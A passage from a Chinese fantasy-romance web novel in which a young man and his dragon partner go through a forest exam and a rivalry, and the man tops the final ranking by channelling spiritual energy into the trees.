陶清观皱眉,粗略地数了一下,这里最少有二十来号人,江彦彦究竟和多少人做了交换。 二十来人,光拿到分就得花上近两个小时,陶清观思索不过片刻便有了决定,他对陈年安道:“这里标记一下,我们回头再来。” 陈年安向来是陶清观说什么,他做什么,他点点头,跟上陶清观的脚步。 三人又沿着规划的路线寻找,可找到下一个位点,看到的又是一堆人,这次不用问,陶清观也知道是江彦彦搞得鬼。 两次下来,他也明白对方打的什么主意,这一块区域江彦彦那伙人应该已经找完,他们散播出两三个真实的位点,将考生聚拢,拿着得到的情报去其他区域搜索。 人群聚集,刷分的速度自然会变慢,不少人都能发现这点,可比起其他不知道要找多久的位点,眼前的分数显然更有吸引力。 再加上人都有从众心理,所以明知道有问题,离开的人却是少数。 陈年安没想那么多,但他心底没底,开口问道:“我们现在怎么办?” “换块区域。”陶清观当机立断,“接下来要加快速度。” 他们这边有优势,行李都在自行车上,走起来要比其他队伍轻松很多。 陶清观对宴氿道:“你找个地方自己待着,先别跟着我们,太显眼了。” 宴氿这一身安全员的制服隔老远都能看见,既然要抓紧时间,陶清观想避免不必要的麻烦。 “好。”宴氿眉眼含笑,“我晚点去找你。” 他的手机压了一大堆消息,大部分是陶笠鹤发来的,估计是知道考场这边发生的事,想问他事情的缘由。 原本几个逃窜的老鼠根本轮不到陶笠鹤这个当局长的上心,可他说出蛟龙那两个字眼,事情的性质就变了。 正好他对那些人捣鼓出来的东西也挺感兴趣的,龙和人类,两个毫无关系的物种要怎么产生关联。 宴氿隐晦地扫过陶清观的颈部,陶清观所说,身上长出的鳞片状物体会和那些人有关吗? 出于这个可能,宴氿肯定要去走一趟。 送走宴氿,陶清观和陈年安进入跑图模式,他们记下被围着的位点,然后绕开这片区域,走到森林深处。 因为绕路浪费了不少时间,所以陶清观干脆控风托着陈年安,自己骑自行车加快进度。 一开始陈年安很不好意思,觉得自己拖后腿,担心后面陶清观的灵不够有,但后来他发现这点灵对陶清观根本不算什么,他两眼发光,又抱着陶清观好一顿夸。 连陶清观都要感慨,陈年安这脑子里是怎么装下那么多夸人的词汇的。 辛苦忙碌一天,截止到晚,他们已经拿了18分。 原定的结束时间是明天下午五点,但因为那几个逃犯的影响,时间推迟到晚上八点,此刻距离考试结束还剩24小时。 陈年安坐在地上,声音颤抖,“我还能走,去下个点。” “去也没用,你的灵不够。”陶清观把帐篷支好,找了一块干净的地坐下,“先休息,位点又不会跑。” “可是这样的话,师父你就拿不到第一了。”陈年安语气中带着自责,“是我拖后腿,要是我的灵再多一点就好了,别管我,你赶紧去找下个位点。” 陶清观神色淡然,“我又没说我想拿第一,能过就行。” 前三名有个通报奖励,陶清观实在不想顶着陶囡囡这个名字出风头。 “可是……” “没有可是。”陶清观打断陈年安,“你这样有这个功夫,不如帮我处理食材,晚上吃火锅。” 陈年安讷讷道:“好。” 陶清观将食材放下锅,然后盖上锅盖,他拿出三瓶肥宅快乐水,放进自制的冰盒冻上。 处理好一切,他望向远处,心底嘀咕着,宴氿怎么还不来,被什么事情绊住了?可依照宴氿的性子,陶清观实在想不出什么东西能绊住对方。 想起宴氿今天身体不舒服,陶清观不放心,他站起身,决定去找对方,“你看着锅,我出去一趟。” 陈年安:“好。” 凭借着契约,陶清观能大概感知宴氿的方位,但这份感觉很模糊,他只能确定宴氿现在的位置离他不算远。 绕过一片灌木,陶清观远远看见一道身影,几乎是瞬间他就确定那人是宴氿,陶清观刚想开口,又在对方身前看见一人,看那身熟悉的衣服,应该是江彦彦。 这两人怎么碰到一块的。 陶清观蹙眉,放轻脚步走过去,耳边传来交谈声,他凝神静听。 “没想到您居然会参与这场小小的考试。”江彦彦眼底闪烁着激动,“您能给我一个签名吗?” 签名? 陶清观嘴角抽搐,搁着追星呢,他以为宴氿会不耐烦地走开,结果宴氿意外地好说话,接过江彦彦递来的笔,问要签在哪。 他神情有片刻恍惚,说起来宴氿算半个颜控来着,当初会选择他,他猜也有一部分脸的原因。 而且宴氿这条老龙对年纪小的会多几分耐心,除了苏小钱这个一开始试图拐走他的,宴氿对小孩和年轻人的态度普遍不错,和对陶笠鹤那一辈人的态度形成鲜明对比。 双标龙。 陶清观在心底冷哼一声,他双手抱臂,斜靠着树干,看着江彦彦恭维宴氿,眼底是他自己都没发现的醋意。 “我好像没带纸。”江彦彦在身上四处摸索,他不好意思地说道:“能签在衣服上吗?麻烦了。” 江彦彦两手拽起衣摆,送到宴氿身前,随着他的动作露出一截腰肢,他歪过脑袋,一双圆溜溜的猫眼望着宴氿,低声道:“不可以吗?” “可以。” 宴氿拔开笔帽,握着笔的尾端,刷刷签下几个字,期间连江彦彦的衣服都没碰着。 江彦彦眼底划过一丝暗色,他露出很开心的表情,说道:“谢……” 后半个字江彦彦卡壳了,他看着宴氿签下的名字,面色僵硬。 ‘宴娇娇&陶囡囡’ 这什么鬼东西。 宴氿不疾不徐地将笔盖上,拿着一端递到江彦彦面前,“你在模仿他的动作。” 江彦彦牵强地笑着,“您在说什么?” 宴氿无视江彦彦的问题,语气淡淡,“可人看到假/币的第一反应是生气。” 第67章 第 67 章 龙就该恋爱脑 “我……” 江彦彦面上的表情挂不住, 他拽着衣摆的手指攥紧,衣服被他揉出一道道褶皱,但很快他又冷静下来。 “抱歉, 我不知道该怎么和您相处。”江彦彦神情郝然, 他目光游弋着,耳尖飘着绯色, “我只在传闻中听说过您,不过您和传闻中完全不一样。” 宴氿:“嗯。” 江彦彦指节泛白,到嘴边的话被堵住, 正常情况不应该问他怎么不一样吗?他硬着头皮把话说完,“您比传闻中形容的温柔多了,而且外貌也出乎预料的年轻俊朗。” 他两手交握在身前,动作忸怩间又带着一点期期艾艾。 可江彦彦就是扭成麻花,宴氿也不为所动, 他视线飘到另一处,眼底有笑意晕染开,冰雪消融, 五官瞬间变得柔和。 江彦彦以为是自己的努力得到效果, 可下一秒他听见宴氿说道。 “还要躲到什么时候?” 陶清观身体一僵,很想转身跑路, 可恶, 这种尴尬的场合没必要特地把他拎出来吧。 见江彦彦也看过来,陶清观知道自己躲不掉, 他在心底叹了口气, 大大方方地走到宴氿身旁,“你太慢了。” “在局里耽搁了。”宴氿目光跟着陶清观走,好像眼中只能容下对方一般, 他弯着唇角,嗓音柔和,“还没吃晚饭?” 陶清观面无表情,“嗯。” “那赶紧走。”宴氿搭上陶清观的肩膀,偏过头问道:“晚上吃什么?” 陶清观嘴角抽搐,所以把他叫出来的意义是什么,他随口回答道:“火锅。” 他顺着宴氿的力道迈开步伐,视线偏移,陶清观扫过江彦彦的脸庞,捕捉到那一丝转瞬即逝的不甘,他眉尖微微下压,对上江彦彦笑盈盈的眼眸。 “你们关系真好。”江彦彦忽然开口,“考试也在一起。” 这句话什么都没说,又好像什么都说了,陶清观一般不喜欢把事情往阴暗面想,可放在江彦彦这人身上,他就有种对方在内涵自己的感觉。 陶清观停下脚步,终于愿意分给江彦彦一个正眼,江彦彦长得算乖巧那类,可对方眉眼张扬跋扈,现在又刻意卖乖,就显得不伦不类。 “你有什么意见吗?” 江彦彦被问得一愣,他偷瞄宴氿的神情,怯生生地回答道:“没有。” 他低眉垂眼的模样,不知道的,还以为被怎么欺负了。 陶清观没开口,他拱了下身旁的宴氿,甩给对方一个眼神。 你招惹上的,还不想办法解决。 宴氿一脸无辜地望着陶清观,他也不说话,就跟在陶清观身旁,一副什么都听你的模样。 陶清观犯了个白眼,他不相信宴氿这条老龙看不穿江彦彦拙劣的演技,鬼知道宴氿脑子又里在想些什么,反正尽是些不靠谱的东西。 宴氿见陶清观皱起眉头,心底生出一两分忐忑,太过了么,可他想看陶清观捍卫主权的样子,也不用争风吃醋,就表现得在意他一点也行。 他那颗处龙心蠢蠢欲动,又觉得自己的行为幼稚,宴氿眼底浮现纠结,就在他想放弃的时候,陶清观开口了。 “不满意,你可以自己去找一条。”陶清观俯视着江彦彦,神色淡淡,“别用你那蹩脚的演技,来侮辱我的智商。” 陶清观的话直接撕破脸皮,江彦彦属实没料到陶清观会如此不留情面,他下意识去看宴氿,以为太过强势的陶清观会惹得宴氿不满。 可宴氿面上非但没有不满的表情,甚至还有几分开心。 开心什么?开心他丢脸吗? 江彦彦后槽牙咬紧,面上还得装出若无其事的样子,“我第一次见到龙王,有点紧张,说话可能冒犯到你了。” 陶清观耸肩,“知道错就道歉。” 江彦彦:“……对不起。” “嗯,这是你应该说的。”陶清观踹了下宴氿小腿,意味不明地问道:“够了没?” 宴氿嘴角的弧度越发明显,他微微俯身,凑到陶清观脸颊边,不待他亲上去,衣领忽然被人拽住。 陶清观揪着宴氿的衣领,把人往前拖,他回首对鼻子不是鼻子,眼睛不是眼睛的江彦彦说道:“有功夫在我附近闲逛,不如多刷两个分。” 说完,他不等江彦彦回答,拖着宴氿离开。 宴氿半弯着腰,配合陶清观的动作,以一个别扭的姿势往前走。 走了没几步,陶清观没好气地扭头瞪了一眼宴氿,“看戏看开心了?” “开心,但不是因为看戏。”宴氿握住陶清观的手,把衣领拯救出来,他整理着皱巴巴的衣领,笑道:“你吃醋了。” 陶清观用一种看傻子的目光看着宴氿,他虽然喜欢吃爱吃,但没有异食癖,不会什么东西都往嘴里塞。 “你开心就好。”有时候真搞不懂这条老龙脑子里在想些什么。 宴氿不满陶清观的回答,“你看不惯他靠近我。” “嗯嗯。”陶清观敷衍地回应,复读道:“我看不惯。” 宴氿走在陶清观身旁,不甘心道:“别人喜欢我,你难道一点感觉没有吗?” 陶清观目视前方,漫不经心地说道:“他那种廉价的感情,算不上喜欢。” 宴氿心跳漏了一拍,他望着陶清观精致的侧颜,心底的小花开了漫山遍野,意思是说,他对他的喜欢很珍贵么。 这算隐晦的表白吧。 宴氿眼底的喜色藏都藏不住,他开口道:“嗯,喜欢应该是专一慎重的。”他的喜欢就很专一。 话题偏得莫名其妙,陶清观瞥了眼心情不错宴氿,没get到对方在乐什么,“应该吧。” …… 陶清观和宴氿回到营地时,火锅已经煮好了。 陈年安见到两人回来,连忙招呼着两人吃晚饭,“食材我挑着师父你喜欢的下了一点,已经可以吃了。” “谢谢。” 陶清观坐到位置上,端起碗开始干饭,他早就饿了,要不是等宴氿也不会拖这么晚。 宴氿挨着陶清观,边吃边帮陶清观夹菜,陈年安见此,也拿起公筷要帮陶清观夹,他这个徒弟决不允许有人比他对陶清观更殷勤。 陶清观碗里的食物堆冒尖了,他开口制止两个较上劲的人,“停,自己吃自己的。” 宴氿和陈年安这才罢手。 吃火锅有个好处,就是会让身体暖洋洋的,但这点温度抵不过夜晚的寒风,凉飕飕的风呼啸而过,温度骤然下降。 秋天不知什么时候悄然而至。 陶清观打了个喷嚏,下一刻一件带着温度的外套就盖在他身上,他转过头,看见宴氿穿着件贴身的白色短袖,两条胳膊露在外面,看着就冷。 他拽下外套,还给宴氿,说道:“你穿吧,我带了其他衣服,等会找一下就行。” “没事,我不冷。”宴氿又把外套盖回去,“倒是你,可别又把自己整生病。” 陶清观想起自己在宴氿面前生病的次数,感觉自己的话特别没说服力,他老实穿上宴氿的外套,接着吃饭。 说起来,龙会感冒吗? 陶清观睨了一眼宴氿,很难想象出对方感冒发烧的样子。 吃完晚饭,陶清观挑了块空地坐着消食,百般无赖地望着星空。 这里远离工业污染,星星更加明亮,璀璨的星子汇聚成银河,流淌向天际,月亮高悬在空中,即使没有路灯,森林中的能见度也不低。 宴氿在陶清观身边坐下,问道:“考试怎么样?” “18分,现在显示的排名是第六。”陶清观打了个哈欠,反问道:“你白天忙什么去了?还有那个蛟龙究竟是什么意思?” 宴氿回答道:“就是字面上的意思,那个人类有转化成蛟龙的倾向,虽然只有一点。” “他们不可能成功。”宴氿语气笃定,他看出陶清观的好奇,解释道:“礼器很容易受到外界的影响,那些人利用礼器这个特性,将龙鳞转化为特殊的灵。” “人类长时间吸收这样的灵,身体的结构就会发生改变,但这个进程很慢,对礼器的需求也很高,不过就算给足时间成功的可能性也是零。” 陶清观追问道:“为什么?” 宴氿短暂地沉默:“你们人类的基因学不是都研究清楚了,再说猪吃多了,也没见有人变成猪。” 陶清观:“……”好有道理,有道理到他居然无法反驳。 “那我背后长鳞片,是因为吃你的鳞片吃多了?”陶清观下意识伸手摸了摸后背,指腹下光滑一片,那些鳞片的出现似乎毫无规律可循。 “有这个可能。”宴氿开口道:“你爷爷似乎知道点什么,他让你考试结束后去找他。” 行叭。 爷爷不急,宴氿不急,太监们都不急,他这个皇帝就放宽心态了。 陶清观伸了个懒腰,从地上站起来,“有点冷,不吹风了。” 宴氿自然地跟上陶清观,对方进帐篷,他也进帐篷,陶清观拿睡袋,他……挨着陶清观躺下。 陶清观皱眉,“旁边那么大空地,你往那边去点。” 宴氿不想挪,“我担心你晚上冷。” “帐篷里又没风。”陶清观不买账,推着宴氿往旁边滚,“我明天要早起,你别打扰我睡觉。” 宴氿被推到帐篷边,他看着陶清观缩回睡袋里,完全没有搭理他的意思,他脸色垮下来。 这是什么新型放置play吗? 不会只有他一条龙觉得关系有进展,白白傻乐一天。 宴氿心底咕嘟咕嘟冒泡,就在这时,一件外套抛向他,紧随着的是陶清观的声音。 “你盖着,别着凉。” 宴氿拿着衣服,心底的泡泡变成粉色,他就知道陶清观是关心他的。 第68章 第 68 章 陶清观:他不能是第一…… 第二天。 陶清观醒来时发现帐篷里放着一盆清水, 还有一套洗漱用品,甚至牙膏都被贴心的挤好,大脑花了几秒处理眼前的情况, 陶清观扯了下嘴角, 猜到始作俑者是谁。 他照常洗脸刷牙,拿起一旁的外套穿上, 陶清观走到帐篷外,迎接他的是一幅更玄幻的画面。 宴氿和陈年安都在做饭,并且两人分坐两边, 见到他出来,又同时看过来。 “我煮了粥,热了些小菜。”宴氿面带微笑地说道:“已经不烫了,来喝点。” 陈年安插进来,“我热了包子, 师父你要不要吃?” 陶清观:“……都来一点?” 宴氿神色不变,盛起一碗粥放在折叠桌上,而陈年安不甘示弱, 端着包子走过来, 他瞪了宴氿一眼,看向陶清观时, 立马换了副嘴脸。 陈年安殷勤道:“三丁和菜的, 师父你挑喜欢的吃。” 陶清观:“谢谢。” 看着凑到陶清观身旁的陈年安,宴氿额角青筋暴起, 这小鬼绝对是故意和他抢人, 他和陶清观差一点就是伴侣,这个臭小鬼算什么东西。 陈年安感觉到宴氿的视线,他不为所动, 留给宴氿一个孤傲的背影。 师父的第一小弟只能是他,谁都别想和他抢! 空气中弥漫着火药味,陶清观默默咬了口包子,一大早的,好热闹啊。 “你们吃过没,等会要出发了。”陶清观说着又端起粥喝了一口,宴氿的手艺一般般,属于比能吃稍微好上一点。 “吃过了。”宴氿抢答,他望着陶清观,眼底带着期待,“味道怎么样?” 陶清观顿了一下,似在思考,“还不错。” 宴氿追问道:“和上一次比有进步吧。” 陶清观歪脑袋,平时宴氿在家下厨,都是热热速食,对方有煮过粥吗? 好像……是有过这么一回事,但他当时在发烧,连当时发生了什么都记不清,更别提粥的味道。 陶清观扫了眼宴氿,睁眼说起瞎话,“有。” 宴氿挑眉,“真的?” 陶清观肯定道:“真的。” 宴氿扬起唇角,他伏在桌前,一手托着下巴,清浅的眸光落在陶清观身上。 一旁的陈年安左顾右盼,想开口又感觉当前的气氛他无法插足,他噘着嘴,坐在那显得格格不入。 收拾帐篷的时候,宴氿走到陶清观身旁,低声道:“上一次给你煮粥,你粘着我不放,非得我抱着你才行。” 陶清观:“?” 他抛给宴氿一个怀疑的眼神,不像真的,像宴氿编来涮他的。 宴氿就猜到陶清观不会信,他轻啧一声,抬手在陶清观脑袋上揉了一下,“粘着我又不丢脸。” 陶清观蹙眉,不存在的记忆增加了。 这件事陶清观回想了一会儿,但还是一点印象没有,他索性将这件事撂在一旁,接着找位点。 宴氿被他赶走,陶清观跟陈年安又在森林里到处跑,因为是考试最后一天,所有考生都在拼命赶进度,陶清观随大流,午饭草草解决。 时间来到傍晚,陶清观坐在自行车上,看着靠在树干上喘气的陈年安,开口道:“分数已经够了,不用这么拼命。” 陈年安深呼吸,声音颤抖,“可师父你不是第一,是我休息的时间太多了。” 他灵的储存量与陶清观是天壤之别,走过两三个位点,他就得停下来休息调整,而陶清观明明可以用这段时间去找其他位点刷分,却留下来等他。 陶清观抓了两下头发,无奈道:“我就说我对第一没兴趣。” “可是!”陈年安语气激动,“第一名现在是江彦彦。” 他瞄了陶清观的脸色,声音越说越小,“他不是骗过我们嘛……”虽然陶清观骗回去了。 陶清观没关注过总排名,他调出界面看了一眼,发现江彦彦还真是第一,34分,而第二名才30分。 距离比赛结束还剩不到半小时,江彦彦的第一名几乎已经是板上钉钉的事实。 是有点不爽。 陶清观唇角压出一个不太愉快的弧度,他抬眸望向前方的森林,这里是离集合点最近的一块,也是他们没来及探索的地方。 在时间结束前,他们必须抵达集合点,所以有不少人将这一块作为最后的收集点,沿路陶清观见到不少参赛者往集合点走。 “走吧,差不多到时间了。” 陈年安心底又高兴又难过,高兴陶清观愿意陪他走过考试全程,难过自己什么忙都没帮上,他闷闷地说了一句好,跟着陶清观往集合点走。 陶清观一言不发,目视着前方,但仔细看会发现他视线飘忽,分明是在跑神。 剩下的区域不算大,唤雨能轻易覆盖,但给树木注入灵需要有接触点,直接接触来不及,间接接触不知道有没有效果。 陶清观拉下刹车,开口道:“我试个东西。” “好。” 陈年安看着陶清观蹲下身体,将手覆在地面上,他凝神屏住呼吸,生怕打扰到陶清观。 陶清观尝试着将灵注入地面,穿过土壤他找到树木旺盛的根须,灵顺着根须向上,很快就游走至树梢枝叶间。 好像能行,就是离得远消耗灵的量会变多,但陶清观最不缺的就是灵。 他立即扩大范围,找了两天,他也发现位点的规律,虽然不清楚这片区域具体的位点在哪,但只要修复损伤比较严重的树木就行。 陶清观闭上眼,耐下性子寻找。 就在这时,有几人向这边走来,其中一人正是江彦彦,他瞥见陶清观奇怪的姿势,眼皮子一跳,对一旁站着的陈年安说道,“马上时间就结束了,你们还不走?” “不关你事。”陈年安虽然不知道陶清观在做什么,但他还是挡在陶清观身前,不让江彦彦靠近。 江彦彦眉心微皱,事情已成定局,陶清观没有翻盘的可能,可他心底生出一股莫名的危机感,他冷声嘲讽,“带了这么多装备来,不知道你们最后能拿到第几名。” 陈年安语噎,想反驳又不知道该说什么,从这些天的相处看来,他感觉陶清观带这些东西完全是为了提高生活质量,和比赛关系不大,但这话明说出来,根本没人信。 他梗着脖子又说了一遍,“不关你事。” 江彦彦望着佁然不动的陶清观眉心褶皱更深。 “行了,别跟无关紧要的人计较,浪费时间。”与江彦彦结伴的人开口,他扫过陶清观二人,眼底带着鄙夷的色彩,“作弊也拿不了前三,废物。” “你说谁作弊!”陈年安瞪向那人,“审考官都认同,你这是造谣。” 那人不屑地嗤笑,“有些人,也就只能钻钻规则漏洞。” 陈年安气急,“你!” “冷静。”陶清观站起身,拍了下陈年安的肩膀,“先去集合点。” 陈年安咬着下唇,心底憋屈,“好。” 陶清观甩了甩另一只手上沾到的草屑,他睨向昂着下巴仿佛打了胜仗的那人,神色淡淡,“失败者总喜欢给自己的失败找理由。” “靠着作弊就拿到第四,有什么好得意的。”那人被戳到痛处,脸色难看。 陶清观懒得搭理他,骑上车,招呼着陈年安往集合点走,他们抵达集合点时,包括主考官在内,有二三十人在。 此刻距离考试结束还有二十分钟。 陶清观挑了个人少的地盘腿坐下,他一条胳膊搭在大腿上,另一只手再次与地面接触。 二十分钟,是有点赶了。 场上闭目养神的人不在少数,陶清挂虽然动作有点奇怪,但也不显眼。 坐在前面的考官多看了陶清观一眼,他拱了下身旁的周青,视线停留在陶清观身上,“这就是你说的超级厉害的考生?” 周青双手抱臂,用鼻子哼出一声嗯。 考官打开排名,找到第一,“他叫江彦彦?” “不对,铭牌上写的是陶囡囡。”周青坐正,探着身子去看考官手中的显示屏,他皱着眉道:“怎么在第四?” 不应该啊,还有人能和那个变态比。 考官推开周青,“是你看走眼了吧,这个江彦彦我知道,是北分局局长,江家的幺孙,江琰,他似乎有高级雨师的实力,是江家想让他多沉淀些时间,才压到现在考试。” “不不不,他跟陶囡囡不是一个级别。”周青看着排名,觉得牙疼,他跟人打赌了,这家伙怎么关键时候给他掉链子。 听周青这么说,考官好奇,“他本名是什么?” 周青扯了下嘴角,“姓陶的大佬就那么几个,你自己猜。” 考官听到这话,在心底盘算起来,陶这个姓不少见,但也不算常见,地位最高的当然要数总局局长陶笠鹤,他眉毛一跳,不敢置信道:“不会吧……” “就你想的那个。”周青指尖点着胳膊,盯着排名心情烦躁,他可是du了半个月的工资,那家伙肯定是故意没跑完。 就在这时,排名忽然发生变动,陶囡囡的名字从第四往上窜,稳稳落到第一的位置,后边的分数也从28摇身一变成了36。 考官眼睛瞪大,“坏了?” “没坏。”周青最先反应过来,先前没在意,但看见陶清观收回手,他感受了下土地内灵的流向,心底生出一股畏惧感。 陶清观容纳灵的能力根本不是一个正常人能企及的。 周青舔过干涩的唇瓣,开口道:“他刚刚坐在这,将这片区域的位点全刷了一遍。” 考官失声道:“怎么可能?” 不待考官缓过神,考试结束的铃声响起,排名也在同一时间定格,定位不在集合点的人分数瞬间变成零分。 挂在树枝上的投影,将最终排名映在幕布上。 这场考试崇尚绝对的公平,排名透明并且考完立即公布,从根源上杜绝作弊的可能。 幕布亮起的那一刻,所有人都在找自己的排名,幕布前围满了人。 陶清观不疾不徐地站起来,拍拍衣摆上沾到的草屑,下一刻,陈年安猛地向他扑过来,激动的声音在场地上回响。 “师父,你是第一!” 陶清观还没开口,一道几乎破音的声音响起。 “不可能!” 陶清观循声望去,看见江彦彦扭曲的脸,大概是对结果太震惊,江彦彦都忘记维持虚伪的表情。 江彦彦唇瓣崩得笔直,残留的理智让他冷静下来。 他不知对身旁的人说了什么,那人大步走到考官面前,高声说道:“我对考试排名有异议,几分钟前这个陶囡囡还是第四,凭什么公布结果的时候,他是第一。” 第69章 第 69 章 宴氿:我们不是伴侣吗?…… 陶清观顶着众人的视线, 身上还挂着个陈年安,他面无表情,看着排名第一后边的陶囡囡三个字。 这下只揍宴氿一顿都难平他现在经历的社死。 考官轻咳一声, 打断人群中的议论纷纷, 他开口道:“考试结果没有问题,这位考生是在最后点亮了这片区域的位点。” “不可能。”提出异议的那人不依不饶, “先不说他的灵够不够,间隔这么远,他根本没法将灵送过去。” 考官声音冷了下来, “你不行不代表别人不行,个人计分系统的运行过程,稍后会公布,他的系统并没有出现问题。” “你们都这么说了,有问题当然也成没问题。”那人冷笑, 轻蔑地瞥了眼陶清观,“从考试开始就搞特殊,什么都不做也能拿第一, 果然会投胎比什么都重要。” 陶清观对上那人的视线, 他拉住炸毛的陈年安,抬手覆在身旁的树干上, 周围的灵如听到号召一般, 蜂拥而至。 枝叶以肉眼可见的速度舒展开,新生的绿芽青翠欲滴, 紧接着溢出的灵向周围蔓延, 一棵、两颗……野草,灌木也一同生长,有风拂过, 掀起一阵绿涛。 附近游离的灵被压榨干净,陶清观收回手,他扫过鸦雀无声的众人,“够了么?” 考官从震惊中惊醒,他敲了两下桌子,唤回众人的神志,“原地休整,半小时后回程。” 一众人神情恍惚,隐晦的视线不停掠过陶清观,成为焦点的陶清观皱着眉,双手抱臂斜靠着树干,一副不好惹的样子。 好恶心,仿佛吃了一顿大餐,结果中途吃不下,跑厕所扣吐了,又回来继续吃的,灵在身体里来来去去太多遍,一会被掏空,一会被填满,他快应激了。 陶清观抿着唇,压下胃中的翻涌,这时他注意到周青在向自己招手,他顿了一下,迈步走过去。 周青和考官藏在车后面,见陶清观过来,周青调侃道:“你这次大出风头,考不考虑留下来帮忙种几天树?” 说着,他抬手要搭陶清观的胳膊。 陶清观推开周青,偏过头。 yue—— 陶清观干呕了两声,脑瓜子嗡嗡的。 周青一脸懵逼,大为受伤,“不至于吧,我还没碰到你呢。” 陶清观后退两步,和周青拉开距离,他现在听不得树这个字,“不考虑,不想,不要。” “行行行。”周青又好气又好笑,瞥见陶清观嫌弃的目光,他没忍住伸手想拍陶清观,可下一秒,他手腕被人攥住,力道之大让他怀疑对方是想把他的腕骨捏碎。 “你做了什么?” 宴氿揽住陶清观,发现对方状态不对,他直接将矛头转向在场的另外两人。 周青那叫一个冤,他自己都不知道自己做了什么,“和我没关系。” “我没事。”陶清观拽住宴氿的衣服,他望下周青,还没开口,又是——yue~ 陶清观小脸白了一圈,他强撑着往下说,“不关他……yue~” 周青:“……” 够了够了,可别真yue了。 “抱歉。”陶清观吸了下鼻子,“不知道怎么回事,看到你就有点想yue。” 这种道歉他并不想要,周青神情复杂,他呵了一声,将脸转向一边,黑色的低气压将他围绕,“没事,我不在意,你走吧。” “哦,yue~” 陶清观捂着嘴离开,他拉住宴氿一条胳膊,表情拧巴,“还是有点想吐。” 宴氿垂下眼眸,看着陶清观泛白的小脸,干脆弯腰拖着陶清观的臀部将人抱起,接着大巴的遮挡,他抱着人走进树林中。 陶清观左顾右盼,生怕被人发现,他推搡着宴氿,催促道:“快放我下来。” “没人看见。” 宴氿绕过茂密的树丛,将陶清观放在一块大石头上,他半蹲下身子,手背贴在陶清观脸颊处,“怎么搞的,脸色这么难看?” 陶清观不太自在地躲开宴氿的触碰,“……大概是消化不良。” 宴氿手悬在半空,感受到空气中残余的波动,他轻笑,戳了下陶清观的脸蛋,“你太乱来了。” 陶清观移开目光,拨弄了两下额前垂落的发丝,低声喃喃道:“才没有。” 宴氿莞尔,他卷起衣袖,扯下一片龙鳞,掰成合适的大小后送到陶清观唇边,“吃下去会好点。” 陶清观撇着嘴后退,脸上写满不相信,“我觉得好多了。” 他真的不想再吃了。 宴氿捏住陶清观的下巴,指腹蹭过唇瓣,柔软的唇瓣被按压出一个弧度,指尖下沾染上水色。 “乖,我什么时候骗过你。”宴氿哄道,感觉陶清观没那么抗拒,他将鳞片放入陶清观口中,“你现在的感觉,大概和我碰到那些被污染的灵差不多。” 都是消化不良。 陶清观咬碎口中的鳞片,嘀咕道:“所以我吃的算健胃消食片。” 凉凉的鳞片汇成一股清流,顺着食道滑入胃中,恶心感瞬间消退许多,陶清观砸吧了下嘴。 居然真的有用。 他低下头,恰巧宴氿也在看他,视线交汇,陶清观神情微怔,他无意识晃了两下脚,挑起话题,“你跟我一起回去,还是留在这边处理逃犯的事。” “当然是跟你回去。”宴氿不假思索,向前挪了一步,他一手按在石头边缘,抬起身子向陶清观靠近,温柔的语调中带着宠溺的色彩,“我怎么可能扔下你一个人。” 陶清观身体后仰,不为所动,“我俩坐的本来就不是一辆车。” 宴氿语噎,他盯着陶清观清透的眼眸,生出一种无力感,臭小鬼怎么这么不解风情。 “等出森林我们就能一起走。”宴氿在心底轻叹一声,他站起身,向陶清观伸出手,“回去的方式考生可以自由选择,会报销。” 陶清观将手放入宴氿掌心,借力站起来,“嗯,回去吧。” 宴氿不想,但时间快到了,他只能看着陶清观走上大巴。 依旧是原本的座位,陶清观旁边是陈年安,前面坐着江彦彦,亦或者叫江琰更为恰当。 陶清观打了个哈欠,靠着椅背准备小憩一会,但抵不过陈年安絮絮叨叨。 “等下车我就跟你说再见了。”陈年安依依不舍,“我爸妈过来接我,师父你怎么回去?” 陶清观闻言掀开一边眼皮,看着陈年安这张娃娃脸,他问道:“你多大了?” 陈年安老实回答:“二十。” 陶清观震惊,这么小,他又看一眼周围,除了个别几个,大部分考生的脸长得都挺嫩的,他不由摸了下自己的脸,忽然感觉到时间的残酷。 他居然也到可以被叫老登的年纪了。 陶清观拍了下陈年安的肩膀,开口道:“你也不容易。” 陈年安眨了眨眼,没搞懂陶清观的意思。 知道陈年安的年龄后,陶清观对陈年安的态度慈祥不少,他有点理解宴氿的以前的想法了,都是小孩,让着点也没什么。 于是,陶清观耐着性子陪陈年安聊天,但脸上的笑容逐渐僵硬。 到下车的时候他长松一口气,小孩也不是那么好带的,宴氿究竟是抱着什么心态,才能喜欢到处当人爸爸。 陶清观看着陈年安奔向自己的父母,对方朝自己挥挥手后,跟着父母有说有笑的离开。 周围不乏来接人的车,清冷的街道口一反常态,染上烟火气,谈笑声不绝于耳,陶清观孑然而立。 他两手插在口袋中,身后堆着一大包行李,衬得他身形消瘦。 这时一人逆着人流走上前,在陶清观身前站定,“久等了,我们坐飞机回去。” 宴氿拎起陶清观身旁的行李,笑着说道:“可惜晚饭只能在飞机上解决,我们明天出去吃怎么样?” “我都行。”陶清观拢了拢衣领,冲锋衣立起的衣领挡住他下半张脸,但微弯的眉眼透露出他的心情,藏在衣领后的唇角应是扬起一抹弧度。 ………… 出去一趟,休息的也不错,可回到家就是有一种从内而外的疲惫,大概是金窝银窝不如自家的狗窝,陶清观久违地趴在床上,动都不想动。 原本是该去找陶笠鹤,但对方有事出省,要过段时间才能回来,于是陶清观心安理得的开始摆烂。 照例开始上班,早早出门,晚上回来吃饭,再和宴氿打会儿游戏,然后上床睡觉。 又是一天傍晚,互道晚安后,宴氿躺在懒人沙发上,嘴角残留着笑容。 今天的陶囡囡也很可爱,但……不对吧!这不就和以前一模一样。 宴氿垂死病中惊坐起,眉心拧成一个川字,从考场回来后,他和陶清观最亲密的举动就是抱抱,还都是他主动,亲吻是一次没有,陶清观看他的眼神好像也没其他意思。 关系完全回到原点。 宴氿压着眉尖,周身飘荡着淡淡的沮丧。 陶清观是怎么想的?还是说其实他理解错对方的意思?可当时的气氛怎么看都是陶清观对他也有意思吧。 宴氿揪着头发,目光幽幽地盯着紧闭的卧室门。 对待伴侣,要一个晚安吻和早安吻,不过分吧。 宴氿抿起唇,藏在发丝中的耳尖飘着一抹淡淡的绯色。 第二天起来时,陶清观发现宴氿怪怪的,具体表现为偷偷摸摸盯着他看,被他发现又快速把脸调回去。 陶清观特地对着镜子照了下,脸上也没东西,宴氿到底在看什么。 他摸不着头脑,见上班快迟到了,陶清观对宴氿道:“我先走了,晚上爷爷让我们过去。” 宴氿条件反射开口:“等一下。” 第70章 第 70 章 宴氿:这么可爱,完全不…… 陶清观回首, 神情疑惑,“怎么了?” 宴氿的目光扫过陶清观的眉眼,又落在那两瓣殷红的唇上, 